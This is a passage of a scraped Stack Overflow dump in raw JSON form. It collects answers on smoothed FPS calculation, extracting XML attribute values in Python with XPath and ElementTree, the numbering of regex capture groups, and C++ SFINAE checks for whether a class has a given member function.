while(true){\n long f = frames.getFirst(); //Look at the first element in frames\n if(time - f &gt; ONE_SECOND){ //If it was more than 1 second ago\n frames.remove(); //Remove it from the list of frames\n } else break;\n /*If it was within 1 second we know that all other frames in the list\n * are also within 1 second\n */\n }\n return frames.size(); //Return the size of the list\n}\n</code></pre>\n" }, { "answer_id": 16722508, "author": "Petrucio", "author_id": 828681, "author_profile": "https://Stackoverflow.com/users/828681", "pm_score": 3, "selected": false, "text": "<p>This might be overkill for most people, that's why I hadn't posted it when I implemented it. But it's very robust and flexible.</p>\n\n<p>It stores a Queue with the last frame times, so it can accurately calculate an average FPS value much better than just taking the last frame into consideration.</p>\n\n<p>It also allows you to ignore one frame, if you are doing something that you know is going to artificially screw up that frame's time.</p>\n\n<p>It also allows you to change the number of frames to store in the Queue as it runs, so you can test it out on the fly what is the best value for you.</p>\n\n<pre class=\"lang-cs prettyprint-override\"><code>// Number of past frames to use for FPS smooth calculation - because \n// Unity's smoothedDeltaTime, well - it kinda sucks\nprivate int frameTimesSize = 60;\n// A Queue is the perfect data structure for the smoothed FPS task;\n// new values in, old values out\nprivate Queue&lt;float&gt; frameTimes;\n// Not really needed, but used for faster updating then processing \n// the entire queue every frame\nprivate float __frameTimesSum = 0;\n// Flag to ignore the next frame when performing a heavy one-time operation \n// (like changing resolution)\nprivate bool _fpsIgnoreNextFrame = false;\n\n//=============================================================================\n// Call this after doing a heavy operation that will screw up with FPS calculation\nvoid FPSIgnoreNextFrame() {\n this._fpsIgnoreNextFrame = true;\n}\n\n//=============================================================================\n// Smoothed FPS counter updating\nvoid Update()\n{\n if (this._fpsIgnoreNextFrame) {\n this._fpsIgnoreNextFrame = false;\n return;\n }\n\n // While looping here allows the frameTimesSize member to be changed dinamically\n while (this.frameTimes.Count &gt;= this.frameTimesSize) {\n this.__frameTimesSum -= this.frameTimes.Dequeue();\n }\n while (this.frameTimes.Count &lt; this.frameTimesSize) {\n this.__frameTimesSum += Time.deltaTime;\n this.frameTimes.Enqueue(Time.deltaTime);\n }\n}\n\n//=============================================================================\n// Public function to get smoothed FPS values\npublic int GetSmoothedFPS() {\n return (int)(this.frameTimesSize / this.__frameTimesSum * Time.timeScale);\n}\n</code></pre>\n" }, { "answer_id": 33744861, "author": "Barry Smith", "author_id": 1978605, "author_profile": "https://Stackoverflow.com/users/1978605", "pm_score": 2, "selected": false, "text": "<p>A much better system than using a large array of old framerates is to just do something like this:</p>\n\n<pre><code>new_fps = old_fps * 0.99 + new_fps * 0.01\n</code></pre>\n\n<p>This method uses far less memory, requires far less code, and places more importance upon recent framerates than old framerates while still smoothing the effects of sudden framerate changes.</p>\n" }, { "answer_id": 41819850, "author": "Ephellon Grey", "author_id": 4211612, "author_profile": "https://Stackoverflow.com/users/4211612", "pm_score": 1, "selected": false, "text": "<h1>JavaScript:</h1>\n\n<pre><code>// Set the end and start times\nvar start = (new Date).getTime(), end, FPS;\n /* ...\n * the loop/block your want to watch\n * ...\n */\nend = (new Date).getTime();\n// since the times are by millisecond, use 1000 (1000ms = 1s)\n// then multiply the result by (MaxFPS / 1000)\n// FPS = (1000 - (end - start)) * (MaxFPS / 1000)\nFPS = Math.round((1000 - (end - start)) * (60 / 1000));\n</code></pre>\n" }, { "answer_id": 43218717, "author": "jd20", "author_id": 6116684, "author_profile": "https://Stackoverflow.com/users/6116684", "pm_score": 1, "selected": false, "text": "<p>Here's a complete example, using Python (but easily adapted to any language). It uses the smoothing equation in Martin's answer, so almost no memory overhead, and I chose values that worked for me (feel free to play around with the constants to adapt to your use case).</p>\n\n<pre><code>import time\n\nSMOOTHING_FACTOR = 0.99\nMAX_FPS = 10000\navg_fps = -1\nlast_tick = time.time()\n\nwhile True:\n # &lt;Do your rendering work here...&gt;\n\n current_tick = time.time()\n # Ensure we don't get crazy large frame rates, by capping to MAX_FPS\n current_fps = 1.0 / max(current_tick - last_tick, 1.0/MAX_FPS)\n last_tick = current_tick\n if avg_fps &lt; 0:\n avg_fps = current_fps\n else:\n avg_fps = (avg_fps * SMOOTHING_FACTOR) + (current_fps * (1-SMOOTHING_FACTOR))\n print(avg_fps)\n</code></pre>\n" }, { "answer_id": 57949825, "author": "Donavan Carvalho", "author_id": 12071969, "author_profile": "https://Stackoverflow.com/users/12071969", "pm_score": 0, "selected": false, "text": "<p>In Typescript, I use this algorithm to calculate framerate and frametime averages:</p>\n\n<pre><code>let getTime = () =&gt; {\n return new Date().getTime();\n} \n\nlet frames: any[] = [];\nlet previousTime = getTime();\nlet framerate:number = 0;\nlet frametime:number = 0;\n\nlet updateStats = (samples:number=60) =&gt; {\n samples = Math.max(samples, 1) &gt;&gt; 0;\n\n if (frames.length === samples) {\n let currentTime: number = getTime() - previousTime;\n\n frametime = currentTime / samples;\n framerate = 1000 * samples / currentTime;\n\n previousTime = getTime();\n\n frames = [];\n }\n\n frames.push(1);\n}\n</code></pre>\n\n<p>usage:</p>\n\n<pre><code>statsUpdate();\n\n// Print\nstats.innerHTML = Math.round(framerate) + ' FPS ' + frametime.toFixed(2) + ' ms';\n</code></pre>\n\n<p>Tip: If samples is 1, the result is real-time framerate and frametime.</p>\n" }, { "answer_id": 63318270, "author": "danday74", "author_id": 1205871, "author_profile": "https://Stackoverflow.com/users/1205871", "pm_score": 0, "selected": false, "text": "<p>This is based on KPexEA's answer and gives the Simple Moving Average. Tidied and converted to TypeScript for easy copy and paste:</p>\n<p>Variable declaration:</p>\n<pre><code>fpsObject = {\n maxSamples: 100,\n tickIndex: 0,\n tickSum: 0,\n tickList: []\n}\n</code></pre>\n<p>Function:</p>\n<pre><code>calculateFps(currentFps: number): number {\n this.fpsObject.tickSum -= this.fpsObject.tickList[this.fpsObject.tickIndex] || 0\n this.fpsObject.tickSum += currentFps\n this.fpsObject.tickList[this.fpsObject.tickIndex] = currentFps\n if (++this.fpsObject.tickIndex === this.fpsObject.maxSamples) this.fpsObject.tickIndex = 0\n const smoothedFps = this.fpsObject.tickSum / this.fpsObject.maxSamples\n return Math.floor(smoothedFps)\n}\n</code></pre>\n<p>Usage (may vary in your app):</p>\n<pre><code>this.fps = this.calculateFps(this.ticker.FPS)\n</code></pre>\n" }, { "answer_id": 69288479, "author": "kbolino", "author_id": 814422, "author_profile": "https://Stackoverflow.com/users/814422", "pm_score": 0, "selected": false, "text": "<p>I adapted @KPexEA's answer to Go, moved the globals into struct fields, allowed the number of samples to be configurable, and used <code>time.Duration</code> instead of plain integers and floats.</p>\n<pre class=\"lang-golang prettyprint-override\"><code>type FrameTimeTracker struct {\n samples []time.Duration\n sum time.Duration\n index int\n}\n\nfunc NewFrameTimeTracker(n int) *FrameTimeTracker {\n return &amp;FrameTimeTracker{\n samples: make([]time.Duration, n),\n }\n}\n\nfunc (t *FrameTimeTracker) AddFrameTime(frameTime time.Duration) (average time.Duration) {\n // algorithm adapted from https://stackoverflow.com/a/87732/814422\n t.sum -= t.samples[t.index]\n t.sum += frameTime\n t.samples[t.index] = frameTime\n t.index++\n if t.index == len(t.samples) {\n t.index = 0\n }\n return t.sum / time.Duration(len(t.samples))\n}\n</code></pre>\n<p>The use of <code>time.Duration</code>, which has nanosecond precision, eliminates the need for floating-point arithmetic to compute the average frame time, but comes at the expense of needing twice as much memory for the same number of samples.</p>\n<p>You'd use it like this:</p>\n<pre class=\"lang-golang prettyprint-override\"><code>// track the last 60 frame times\nframeTimeTracker := NewFrameTimeTracker(60)\n\n// main game loop\nfor frame := 0;; frame++ {\n // ...\n if frame &gt; 0 {\n // prevFrameTime is the duration of the last frame\n avgFrameTime := frameTimeTracker.AddFrameTime(prevFrameTime)\n fps := 1.0 / avgFrameTime.Seconds()\n }\n // ...\n\n}\n</code></pre>\n<p>Since the context of this question is game programming, I'll add some more notes about performance and optimization. The above approach is idiomatic Go but always involves two heap allocations: one for the struct itself and one for the array backing the slice of samples. If used as indicated above, these are long-lived allocations so they won't really tax the garbage collector. Profile before optimizing, as always.</p>\n<p>However, if performance is a major concern, some changes can be made to eliminate the allocations and indirections:</p>\n<ul>\n<li>Change samples from a slice of <code>[]time.Duration</code> to an array of <code>[N]time.Duration</code> where <code>N</code> is fixed at compile time. This removes the flexibility of changing the number of samples at runtime, but in most cases that flexibility is unnecessary.</li>\n<li>Then, eliminate the <code>NewFrameTimeTracker</code> constructor function entirely and use a <code>var frameTimeTracker FrameTimeTracker</code> declaration (at the package level or local to <code>main</code>) instead. Unlike C, Go will pre-zero all relevant memory.</li>\n</ul>\n" }, { "answer_id": 70734087, "author": "bytefu", "author_id": 888720, "author_profile": "https://Stackoverflow.com/users/888720", "pm_score": 0, "selected": false, "text": "<p>Unfortunately, most of the answers here don't provide either accurate enough or sufficiently &quot;slow responsive&quot; FPS measurements. Here's how I do it in Rust using a measurement queue:</p>\n<pre><code>use std::collections::VecDeque;\nuse std::time::{Duration, Instant};\n\npub struct FpsCounter {\n sample_period: Duration,\n max_samples: usize,\n creation_time: Instant,\n frame_count: usize,\n measurements: VecDeque&lt;FrameCountMeasurement&gt;,\n}\n\n#[derive(Copy, Clone)]\nstruct FrameCountMeasurement {\n time: Instant,\n frame_count: usize,\n}\n\nimpl FpsCounter {\n pub fn new(sample_period: Duration, samples: usize) -&gt; Self {\n assert!(samples &gt; 1);\n\n Self {\n sample_period,\n max_samples: samples,\n creation_time: Instant::now(),\n frame_count: 0,\n measurements: VecDeque::new(),\n }\n }\n\n pub fn fps(&amp;self) -&gt; f32 {\n match (self.measurements.front(), self.measurements.back()) {\n (Some(start), Some(end)) =&gt; {\n let period = (end.time - start.time).as_secs_f32();\n if period &gt; 0.0 {\n (end.frame_count - start.frame_count) as f32 / period\n } else {\n 0.0\n }\n }\n\n _ =&gt; 0.0,\n }\n }\n\n pub fn update(&amp;mut self) {\n self.frame_count += 1;\n\n let current_measurement = self.measure();\n let last_measurement = self\n .measurements\n .back()\n .copied()\n .unwrap_or(FrameCountMeasurement {\n time: self.creation_time,\n frame_count: 0,\n });\n if (current_measurement.time - last_measurement.time) &gt;= self.sample_period {\n self.measurements.push_back(current_measurement);\n while self.measurements.len() &gt; self.max_samples {\n self.measurements.pop_front();\n }\n }\n }\n\n fn measure(&amp;self) -&gt; FrameCountMeasurement {\n FrameCountMeasurement {\n time: Instant::now(),\n frame_count: self.frame_count,\n }\n }\n}\n</code></pre>\n<p>How to use:</p>\n<ol>\n<li>Create the counter:\n<code>let mut fps_counter = FpsCounter::new(Duration::from_millis(100), 5);</code></li>\n<li>Call <code>fps_counter.update()</code> on every frame drawn.</li>\n<li>Call <code>fps_counter.fps()</code> whenever you like to display current FPS.</li>\n</ol>\n<p>Now, the key is in parameters to <code>FpsCounter::new()</code> method: <code>sample_period</code> is how responsive <code>fps()</code> is to changes in framerate, and <code>samples</code> controls how quickly <code>fps()</code> ramps up or down to the actual framerate. So if you choose 10 ms and 100 samples, <code>fps()</code> would react almost instantly to any change in framerate - basically, FPS value on the screen would jitter like crazy, but since it's 100 samples, it would take 1 second to match the actual framerate.</p>\n<p>So my choice of 100 ms and 5 samples means that displayed FPS counter doesn't make your eyes bleed by changing crazy fast, and it would match your actual framerate half a second after it changes, which is sensible enough for a game.</p>\n<p>Since <code>sample_period * samples</code> is averaging time span, you don't want it to be too short if you want a reasonably accurate FPS counter.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87304", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16679/" ]
What's a good algorithm for calculating frames per second in a game? I want to show it as a number in the corner of the screen. If I just look at how long it took to render the last frame the number changes too fast. Bonus points if your answer updates each frame and doesn't converge differently when the frame rate is increasing vs decreasing.
You need a smoothed average, the easiest way is to take the current answer (the time to draw the last frame) and combine it with the previous answer. ``` // eg. float smoothing = 0.9; // larger=more smoothing measurement = (measurement * smoothing) + (current * (1.0-smoothing)) ``` By adjusting the 0.9 / 0.1 ratio you can change the 'time constant' - that is how quickly the number responds to changes. A larger fraction in favour of the old answer gives a slower smoother change, a large fraction in favour of the new answer gives a quicker changing value. Obviously the two factors must add to one!
87,317
<p>I need to get a list of attribute values from child elements in Python.</p> <p>It's easiest to explain with an example.</p> <p>Given some XML like this:</p> <pre><code>&lt;elements&gt; &lt;parent name="CategoryA"&gt; &lt;child value="a1"/&gt; &lt;child value="a2"/&gt; &lt;child value="a3"/&gt; &lt;/parent&gt; &lt;parent name="CategoryB"&gt; &lt;child value="b1"/&gt; &lt;child value="b2"/&gt; &lt;child value="b3"/&gt; &lt;/parent&gt; &lt;/elements&gt; </code></pre> <p>I want to be able to do something like:</p> <pre class="lang-python prettyprint-override"><code>&gt;&gt;&gt; getValues("CategoryA") ['a1', 'a2', 'a3'] &gt;&gt;&gt; getValues("CategoryB") ['b1', 'b2', 'b3'] </code></pre> <p>It looks like a job for XPath but I'm open to all recommendations. I'd also like to hear about your favourite Python XML libraries.</p>
[ { "answer_id": 87503, "author": "pjz", "author_id": 8002, "author_profile": "https://Stackoverflow.com/users/8002", "pm_score": 2, "selected": false, "text": "<p>I must admit I'm a fan of <a href=\"http://www.aaronsw.com/2002/xmltramp/\" rel=\"nofollow noreferrer\">xmltramp</a> due to its ease of use.</p>\n\n<p>Accessing the above becomes:</p>\n\n<pre><code> import xmltramp\n\n values = xmltramp.parse('''...''')\n\n def getValues( values, category ):\n cat = [ parent for parent in values['parent':] if parent(name) == category ]\n cat_values = [ child(value) for child in parent['child':] for parent in cat ]\n return cat_values\n\n getValues( values, \"CategoryA\" )\n getValues( values, \"CategoryB\" )\n</code></pre>\n" }, { "answer_id": 87543, "author": "Cristian", "author_id": 680, "author_profile": "https://Stackoverflow.com/users/680", "pm_score": 2, "selected": false, "text": "<p>You can do this with <a href=\"http://www.crummy.com/software/BeautifulSoup/\" rel=\"nofollow noreferrer\">BeautifulSoup</a></p>\n\n<pre><code>&gt;&gt;&gt; from BeautifulSoup import BeautifulStoneSoup\n&gt;&gt;&gt; soup = BeautifulStoneSoup(xml)\n&gt;&gt;&gt; def getValues(name):\n. . . return [child['value'] for child in soup.find('parent', attrs={'name': name}).findAll('child')]\n</code></pre>\n\n<p>If you're doing work with HTML/XML I would recommend you take a look at BeautifulSoup. It's similar to the DOM tree but contains more functionality.</p>\n" }, { "answer_id": 87622, "author": "Jesse Millikan", "author_id": 7526, "author_profile": "https://Stackoverflow.com/users/7526", "pm_score": 4, "selected": true, "text": "<p>I'm not really an old hand at Python, but here's an XPath solution using libxml2.</p>\n\n<pre><code>import libxml2\n\nDOC = \"\"\"&lt;elements&gt;\n &lt;parent name=\"CategoryA\"&gt;\n &lt;child value=\"a1\"/&gt;\n &lt;child value=\"a2\"/&gt;\n &lt;child value=\"a3\"/&gt;\n &lt;/parent&gt;\n &lt;parent name=\"CategoryB\"&gt;\n &lt;child value=\"b1\"/&gt;\n &lt;child value=\"b2\"/&gt;\n &lt;child value=\"b3\"/&gt;\n &lt;/parent&gt;\n&lt;/elements&gt;\"\"\"\n\ndoc = libxml2.parseDoc(DOC)\n\ndef getValues(cat):\n return [attr.content for attr in doc.xpathEval(\"/elements/parent[@name='%s']/child/@value\" % (cat))]\n\nprint getValues(\"CategoryA\")\n</code></pre>\n\n<p>With result...</p>\n\n<pre><code>['a1', 'a2', 'a3']\n</code></pre>\n" }, { "answer_id": 87651, "author": "bobince", "author_id": 18936, "author_profile": "https://Stackoverflow.com/users/18936", "pm_score": 2, "selected": false, "text": "<p>Using a standard W3 DOM such as the stdlib's minidom, or pxdom:</p>\n\n<pre><code>def getValues(category):\n for parent in document.getElementsByTagName('parent'):\n if parent.getAttribute('name')==category:\n return [\n el.getAttribute('value')\n for el in parent.getElementsByTagName('child')\n ]\n raise ValueError('parent not found')\n</code></pre>\n" }, { "answer_id": 87658, "author": "dF.", "author_id": 3002, "author_profile": "https://Stackoverflow.com/users/3002", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://effbot.org/zone/elementtree-13-intro.htm\" rel=\"noreferrer\">ElementTree 1.3</a> (unfortunately not 1.2 which is the one included with Python) <a href=\"http://effbot.org/zone/element-xpath.htm\" rel=\"noreferrer\">supports XPath</a> like this:</p>\n\n<pre><code>import elementtree.ElementTree as xml\n\ndef getValues(tree, category):\n parent = tree.find(\".//parent[@name='%s']\" % category)\n return [child.get('value') for child in parent]\n</code></pre>\n\n<p>Then you can do </p>\n\n<pre><code>&gt;&gt;&gt; tree = xml.parse('data.xml')\n&gt;&gt;&gt; getValues(tree, 'CategoryA')\n['a1', 'a2', 'a3']\n&gt;&gt;&gt; getValues(tree, 'CategoryB')\n['b1', 'b2', 'b3']\n</code></pre>\n\n<p><code>lxml.etree</code> (which also provides the ElementTree interface) will also work in the same way.</p>\n" }, { "answer_id": 87726, "author": "Brian", "author_id": 9493, "author_profile": "https://Stackoverflow.com/users/9493", "pm_score": 2, "selected": false, "text": "<p>My preferred python xml library is <a href=\"http://codespeak.net/lxml\" rel=\"nofollow noreferrer\">lxml</a> , which wraps libxml2.<br>\nXpath does seem the way to go here, so I'd write this as something like:</p>\n\n<pre><code>from lxml import etree\n\ndef getValues(xml, category):\n return [x.attrib['value'] for x in \n xml.findall('/parent[@name=\"%s\"]/*' % category)]\n\nxml = etree.parse(open('filename.xml'))\n\n&gt;&gt;&gt; print getValues(xml, 'CategoryA')\n['a1', 'a2', 'a3']\n&gt;&gt;&gt; print getValues(xml, 'CategoryB')\n['b1', 'b2', 'b3]\n</code></pre>\n" }, { "answer_id": 41378271, "author": "Ramakant", "author_id": 3975232, "author_profile": "https://Stackoverflow.com/users/3975232", "pm_score": 2, "selected": false, "text": "<p>In Python 3.x, fetching a list of attributes is a simple task of using the member <code>items()</code> </p>\n\n<p>Using the <code>ElementTree</code>, below snippet shows a way to get the list of attributes. \nNOTE that this example doesn't consider namespaces, which if present, will need to be accounted for.</p>\n\n<pre><code> import xml.etree.ElementTree as ET\n\n flName = 'test.xml'\n tree = ET.parse(flName)\n root = tree.getroot()\n for element in root.findall('&lt;child-node-of-root&gt;'):\n attrList = element.items()\n print(len(attrList), \" : [\", attrList, \"]\" )\n</code></pre>\n\n<p><strong>REFERENCE:</strong></p>\n\n<blockquote>\n <p><em>Element.items()</em><br>\n Returns the element attributes as a sequence of (name, value) pairs.<br>\n The attributes are returned in an arbitrary order.</p>\n</blockquote>\n\n<p><a href=\"https://docs.python.org/3.1/library/xml.etree.elementtree.html\" rel=\"nofollow noreferrer\">Python manual</a></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87317", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3464/" ]
I need to get a list of attribute values from child elements in Python. It's easiest to explain with an example. Given some XML like this: ``` <elements> <parent name="CategoryA"> <child value="a1"/> <child value="a2"/> <child value="a3"/> </parent> <parent name="CategoryB"> <child value="b1"/> <child value="b2"/> <child value="b3"/> </parent> </elements> ``` I want to be able to do something like: ```python >>> getValues("CategoryA") ['a1', 'a2', 'a3'] >>> getValues("CategoryB") ['b1', 'b2', 'b3'] ``` It looks like a job for XPath but I'm open to all recommendations. I'd also like to hear about your favourite Python XML libraries.
I'm not really an old hand at Python, but here's an XPath solution using libxml2. ``` import libxml2 DOC = """<elements> <parent name="CategoryA"> <child value="a1"/> <child value="a2"/> <child value="a3"/> </parent> <parent name="CategoryB"> <child value="b1"/> <child value="b2"/> <child value="b3"/> </parent> </elements>""" doc = libxml2.parseDoc(DOC) def getValues(cat): return [attr.content for attr in doc.xpathEval("/elements/parent[@name='%s']/child/@value" % (cat))] print getValues("CategoryA") ``` With result... ``` ['a1', 'a2', 'a3'] ```
87,330
<p>Is there a canonical ordering of submatch expressions in a regular expression? </p> <p>For example: What is the order of the submatches in<br> "(([0-9]{3}).([0-9]{3}).([0-9]{3}).([0-9]{3}))\s+([A-Z]+)" ?</p> <pre><code>a. (([0-9]{3})\.([0-9]{3})\.([0-9]{3})\.([0-9]{3}))\s+([A-Z]+) (([0-9]{3})\.([0-9]{3})\.([0-9]{3})\.([0-9]{3})) ([A-Z]+) ([0-9]{3}) ([0-9]{3}) ([0-9]{3}) ([0-9]{3}) b. (([0-9]{3})\.([0-9]{3})\.([0-9]{3})\.([0-9]{3}))\s+([A-Z]+) (([0-9]{3})\.([0-9]{3})\.([0-9]{3})\.([0-9]{3})) ([0-9]{3}) ([0-9]{3}) ([0-9]{3}) ([0-9]{3}) ([A-Z]+) </code></pre> <p>or</p> <pre><code>c. somthin' else. </code></pre>
[ { "answer_id": 87354, "author": "jjrv", "author_id": 16509, "author_profile": "https://Stackoverflow.com/users/16509", "pm_score": 2, "selected": false, "text": "<p>They tend to be numbered in the order the capturing parens start, left to right. Therefore, option b.</p>\n" }, { "answer_id": 87358, "author": "Adrian Dunston", "author_id": 8344, "author_profile": "https://Stackoverflow.com/users/8344", "pm_score": 2, "selected": false, "text": "<p>In Perl 5 regular expressions, answer b is correct. Submatch groupings are stored in order of open-parentheses.</p>\n\n<p>Many other regular expression engines take their cues from Perl, but you would have to look up individual implementations to be sure. I'd suggest the book <a href=\"http://books.google.com/books?id=ucwR4KIvExMC&amp;dq=mastering+regular+expressions&amp;pg=PP1&amp;ots=QLvzs24_Ik&amp;sig=wUON6Y-GbGfHClq73nJNbdhQecQ&amp;hl=en&amp;sa=X&amp;oi=book_result&amp;resnum=1&amp;ct=result\" rel=\"nofollow noreferrer\">Mastering Regular Expressions</a> for a deeper understanding.</p>\n" }, { "answer_id": 87417, "author": "Asgeir S. Nilsen", "author_id": 16023, "author_profile": "https://Stackoverflow.com/users/16023", "pm_score": 0, "selected": false, "text": "<p>You count opening parentheses, left to right. So the order would be</p>\n\n<pre><code>(([0-9]{3}).([0-9]{3}).([0-9]{3}).([0-9]{3}))\n([0-9]{3})\n([0-9]{3})\n([0-9]{3})\n([0-9]{3})\n([A-Z]+)\n</code></pre>\n\n<p>At least this is what Perl would do. Other regex engines might have different rules.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87330", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16753/" ]
Is there a canonical ordering of submatch expressions in a regular expression? For example: What is the order of the submatches in "(([0-9]{3}).([0-9]{3}).([0-9]{3}).([0-9]{3}))\s+([A-Z]+)" ? ``` a. (([0-9]{3})\.([0-9]{3})\.([0-9]{3})\.([0-9]{3}))\s+([A-Z]+) (([0-9]{3})\.([0-9]{3})\.([0-9]{3})\.([0-9]{3})) ([A-Z]+) ([0-9]{3}) ([0-9]{3}) ([0-9]{3}) ([0-9]{3}) b. (([0-9]{3})\.([0-9]{3})\.([0-9]{3})\.([0-9]{3}))\s+([A-Z]+) (([0-9]{3})\.([0-9]{3})\.([0-9]{3})\.([0-9]{3})) ([0-9]{3}) ([0-9]{3}) ([0-9]{3}) ([0-9]{3}) ([A-Z]+) ``` or ``` c. somthin' else. ```
They tend to be numbered in the order the capturing parens start, left to right. Therefore, option b.
87,372
<p>I'm asking for a template trick to detect if a class has a specific member function of a given signature.</p> <p>The problem is similar to the one cited here <a href="http://www.gotw.ca/gotw/071.htm" rel="noreferrer">http://www.gotw.ca/gotw/071.htm</a> but not the same: in the item of Sutter's book he answered to the question that a class C MUST PROVIDE a member function with a particular signature, else the program won't compile. In my problem I need to do something if a class has that function, else do "something else". </p> <p>A similar problem was faced by boost::serialization but I don't like the solution they adopted: a template function that invokes by default a free function (that you have to define) with a particular signature unless you define a particular member function (in their case "serialize" that takes 2 parameters of a given type) with a particular signature, else a compile error will happens. That is to implement both intrusive and non-intrusive serialization. </p> <p>I don't like that solution for two reasons:</p> <ol> <li>To be non intrusive you must override the global "serialize" function that is in boost::serialization namespace, so you have IN YOUR CLIENT CODE to open namespace boost and namespace serialization!</li> <li>The stack to resolve that mess was 10 to 12 function invocations.</li> </ol> <p>I need to define a custom behavior for classes that has not that member function, and my entities are inside different namespaces (and I don't want to override a global function defined in one namespace while I'm in another one)</p> <p>Can you give me a hint to solve this puzzle?</p>
[ { "answer_id": 87474, "author": "C. K. Young", "author_id": 13, "author_profile": "https://Stackoverflow.com/users/13", "pm_score": 2, "selected": false, "text": "<p>To be non-intrusive, you can also put <code>serialize</code> in the namespace of the class being serialised, or of the archive class, thanks to <a href=\"http://en.wikipedia.org/wiki/Koenig_lookup\" rel=\"nofollow noreferrer\">Koenig lookup</a>. See <a href=\"http://www.boost.org/doc/libs/1_36_0/libs/serialization/doc/serialization.html#namespaces\" rel=\"nofollow noreferrer\">Namespaces for Free Function Overrides</a> for more details. :-)</p>\n\n<p>Opening up any given namespace to implement a free function is Simply Wrong. (e.g., you're not supposed to open up namespace <code>std</code> to implement <code>swap</code> for your own types, but should use Koenig lookup instead.)</p>\n" }, { "answer_id": 87761, "author": "C. K. Young", "author_id": 13, "author_profile": "https://Stackoverflow.com/users/13", "pm_score": 2, "selected": false, "text": "<p>Okay. Second try. It's okay if you don't like this one either, I'm looking for more ideas.</p>\n\n<p>Herb Sutter's article talks about traits. So you can have a traits class whose default instantiation has the fallback behaviour, and for each class where your member function exists, then the traits class is specialised to invoke the member function. I believe Herb's article mentions a technique to do this so that it doesn't involve lots of copying and pasting.</p>\n\n<p>Like I said, though, perhaps you don't want the extra work involved with \"tagging\" classes that do implement that member. In which case, I'm looking at a third solution....</p>\n" }, { "answer_id": 87846, "author": "yrp", "author_id": 7228, "author_profile": "https://Stackoverflow.com/users/7228", "pm_score": 8, "selected": true, "text": "<p>I'm not sure if I understand you correctly, but you may exploit SFINAE to detect function presence at compile-time. Example from my code (tests if class has member function size_t used_memory() const).</p>\n\n<pre><code>template&lt;typename T&gt;\nstruct HasUsedMemoryMethod\n{\n template&lt;typename U, size_t (U::*)() const&gt; struct SFINAE {};\n template&lt;typename U&gt; static char Test(SFINAE&lt;U, &amp;U::used_memory&gt;*);\n template&lt;typename U&gt; static int Test(...);\n static const bool Has = sizeof(Test&lt;T&gt;(0)) == sizeof(char);\n};\n\ntemplate&lt;typename TMap&gt;\nvoid ReportMemUsage(const TMap&amp; m, std::true_type)\n{\n // We may call used_memory() on m here.\n}\ntemplate&lt;typename TMap&gt;\nvoid ReportMemUsage(const TMap&amp;, std::false_type)\n{\n}\ntemplate&lt;typename TMap&gt;\nvoid ReportMemUsage(const TMap&amp; m)\n{\n ReportMemUsage(m, \n std::integral_constant&lt;bool, HasUsedMemoryMethod&lt;TMap&gt;::Has&gt;());\n}\n</code></pre>\n" }, { "answer_id": 87905, "author": "coppro", "author_id": 16855, "author_profile": "https://Stackoverflow.com/users/16855", "pm_score": 4, "selected": false, "text": "<p>This should be sufficient, if you know the name of the member function you are expecting. (In this case, the function bla fails to instantiate if there is no member function (writing one that works anyway is tough because there is a lack of function partial specialization. You may need to use class templates) Also, the enable struct (which is similar to enable_if) could also be templated on the type of function you want it to have as a member.</p>\n\n<pre><code>template &lt;typename T, int (T::*) ()&gt; struct enable { typedef T type; };\ntemplate &lt;typename T&gt; typename enable&lt;T, &amp;T::i&gt;::type bla (T&amp;);\nstruct A { void i(); };\nstruct B { int i(); };\nint main()\n{\n A a;\n B b;\n bla(b);\n bla(a);\n}\n</code></pre>\n" }, { "answer_id": 10707822, "author": "Mike Kinghan", "author_id": 1362568, "author_profile": "https://Stackoverflow.com/users/1362568", "pm_score": 5, "selected": false, "text": "<p>The accepted answer to this question of compiletime member-function\nintrospection, although it is justly popular, has a snag which can be observed\nin the following program:</p>\n\n<pre><code>#include &lt;type_traits&gt;\n#include &lt;iostream&gt;\n#include &lt;memory&gt;\n\n/* Here we apply the accepted answer's technique to probe for the\n the existence of `E T::operator*() const`\n*/\ntemplate&lt;typename T, typename E&gt;\nstruct has_const_reference_op\n{\n template&lt;typename U, E (U::*)() const&gt; struct SFINAE {};\n template&lt;typename U&gt; static char Test(SFINAE&lt;U, &amp;U::operator*&gt;*);\n template&lt;typename U&gt; static int Test(...);\n static const bool value = sizeof(Test&lt;T&gt;(0)) == sizeof(char);\n};\n\nusing namespace std;\n\n/* Here we test the `std::` smart pointer templates, including the\n deprecated `auto_ptr&lt;T&gt;`, to determine in each case whether\n T = (the template instantiated for `int`) provides \n `int &amp; T::operator*() const` - which all of them in fact do.\n*/ \nint main(void)\n{\n cout &lt;&lt; has_const_reference_op&lt;auto_ptr&lt;int&gt;,int &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;unique_ptr&lt;int&gt;,int &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;shared_ptr&lt;int&gt;,int &amp;&gt;::value &lt;&lt; endl;\n return 0;\n}\n</code></pre>\n\n<p>Built with GCC 4.6.3, the program outputs <code>110</code> - informing us that \n<code>T = std::shared_ptr&lt;int&gt;</code> does <em>not</em> provide <code>int &amp; T::operator*() const</code>.</p>\n\n<p>If you are not already wise to this gotcha, then a look at of the definition of\n<code>std::shared_ptr&lt;T&gt;</code> in the header <code>&lt;memory&gt;</code> will shed light. In that\nimplementation, <code>std::shared_ptr&lt;T&gt;</code> is derived from a base class\nfrom which it inherits <code>operator*() const</code>. So the template instantiation\n<code>SFINAE&lt;U, &amp;U::operator*&gt;</code> that constitutes \"finding\" the operator for\n<code>U = std::shared_ptr&lt;T&gt;</code> will not happen, because <code>std::shared_ptr&lt;T&gt;</code> has no\n<code>operator*()</code> in its own right and template instantiation does not\n\"do inheritance\".</p>\n\n<p>This snag does not affect the well-known SFINAE approach, using \"The sizeof() Trick\",\nfor detecting merely whether <code>T</code> has some member function <code>mf</code> (see e.g.\n<a href=\"https://stackoverflow.com/a/257382/1362568\">this answer</a> and comments). But\nestablishing that <code>T::mf</code> exists is often (usually?) not good enough: you may\nalso need to establish that it has a desired signature. That is where the\nillustrated technique scores. The pointerized variant of the desired signature\nis inscribed in a parameter of a template type that must be satisfied by\n<code>&amp;T::mf</code> for the SFINAE probe to succeed. But this template instantiating\ntechnique gives the wrong answer when <code>T::mf</code> is inherited.</p>\n\n<p>A safe SFINAE technique 